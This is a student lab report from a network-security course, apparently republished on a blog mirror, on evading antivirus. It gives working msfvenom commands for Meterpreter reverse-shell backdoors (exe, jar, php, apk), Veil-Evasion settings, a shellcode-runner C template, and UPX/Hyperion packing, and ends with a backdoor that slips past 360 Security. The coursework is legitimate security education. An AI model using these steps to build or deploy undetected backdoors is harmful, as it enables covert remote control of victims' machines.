zoukankan      html  css  js  c++  java
  • 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165215

    基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

    • 启发式恶意软件检测:根据些片面特征去推断,缺乏精确性。如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那我们就把它当成一个恶意软件。

    • 基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    (2)免杀是做什么?

    • 一般是对恶意软件做处理,让它不被杀毒软件所检测。

    (3)免杀的基本方法有哪些?

    • 改变特征码
      • 只有EXE :加壳(压缩壳 加密壳)
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码 :用其他语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
    • 非常规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
      • 使用社工类攻击,诱骗目标关闭AV软件
      • 纯手工打造一个恶意软件

    实践内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

    正确使用msf编码器

    1、使用VirusTotalVirscan这两个网站对实验二中生成的后门程序20165215_backdoor.exe进行扫描

    • 用VirusTotal扫描后结果如下:

    • 用Virscan网站的扫描结果如下:

    由此可知后门程序如果不加处理,绝大多数杀软很快就可以识别出来

    2、用msf编码器对后门程序进行一次到多次的编码,并进行检测

    • 一次编码使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.116.128 LPORT=5215 -f exe > met-encoded.exe,其中-e为编码,-b为规避坏字符

    • 用VirusTotal扫描后结果如下:

    • 多次编码使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b 'x00' LHOST=192.168.116.128 LPORT=5215 -f exe > met-encoded15.exe,其中-i为编码次数

    • 用VirusTotal扫描后结果如下:

    由此可见多次编码对免杀没有太大的效果

    msfvenom生成如jar之类的其他文件

    1、生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 x> 5215zjj_java.jar

    • 用VirusTotal扫描后结果如下:

    2、生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 x> 5215zjj.php

    • 用VirusTotal扫描后结果如下:

    3、生成apk后门程序使用命令:
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 R > 5215zjj.apk

    • 用VirusTotal扫描后结果如下:

    4、其他类型的文件可以参考msfvenom生成各类Payload命令

    veil-evasion

    • sudo apt-get install veil-evation命令安装
    • 安装成功后,输入veil显示如下界面:

    • use evasion命令进入Evil-Evasion

    • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

    • 使用命令set LHOST 192.168.116.139设置反弹连接IP,此处的IP是KaliIP
    • 使用命令set LPORT 5215设置端口
    • 使用命令generate生成文件,接着为生成的playload命名

    • 用VirusTotal扫描后结果如下:

    用shellcode编程

    • 首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.139 LPORT=5215 -f c 生成一段shellcode

    • 按如下格式编写20165215.c
    unsigned char buf[] = ……//生成的shellcode
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    
    • 使用命令i686-w64-mingw32-g++ 20165215.c -o 20165215.exe编译这个.c文件为可执行文件

    • 用VirusTotal扫描后结果如下:

    加壳工具

    • 使用命令upx 20165215.exe -o 20165215_uped.exe为上步生成的可执行文件加压缩壳

    • 用VirusTotal扫描后结果如下:

    • 将加压缩壳文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v 20265215_uped.exe 20165215_upxed_Hyperion.exe

    • 用VirusTotal扫描后结果如下:

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 原理:使用encode库里的其它编译器生成shellcode,将生成的shellcode在vc下编译,再进行加壳
    • 被控主机:win10
    • 扫描软件:360安全卫士11.4.0.2001

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 被控主机:win10
    • 扫描软件:360安全卫士11.5.0.2001

    实验过程中遇到的问题

    • 问题:安装veil时出现如下错误:

    • 解决方法:使用sudo apt-get install veil--version --fix-missing进行修复安装,需要等到一段很长的时间
    • 问题:无法ping通别人的主机
    • 解决方法:首先是将虚拟机由NAT模式,改为网桥模式。但修改后,kali的eth0不能成功获取正确的ip地址,显示为乱码,后来通过参考博客解决kali桥接模式无法上网解决了该问题

    开启杀软能绝对防止电脑中恶意代码吗?

    显而易见是不能够,本次实验的整个过程就证明了这个结论

    实验总结与体会

    本次实验理论上理解免杀的概念、实现方法并不难,但最终要得到免杀的结果确实来之不易。虽说shikata_ga_nai编译器的效果是最好的,但我怀疑近期由于太多的同学都使用了该方法,导致我实践的时候就轻易被识破了,好在我后来找到了其它加密方法。另外,安装veil的过程也是困难重重,除了要有耐心以外,记得先保存快照,以及可以去看看同学们遇见的问题,绕过他们走过的弯路。

  • 相关阅读:
    oracle 12C linux centos7.5 安装 12C
    FizzBuzz
    批量判断能否telnet登录
    统计所有机器的挂载情况
    ffmpeg windows vs library 下载地址
    需求文档测试
    接口测试分析
    chrome网页截图
    不要为了测试写一个新系统
    C# 判断是否为数字
  • 原文地址:https://www.cnblogs.com/fyss/p/10632803.html
Copyright © 2011-2022 走看看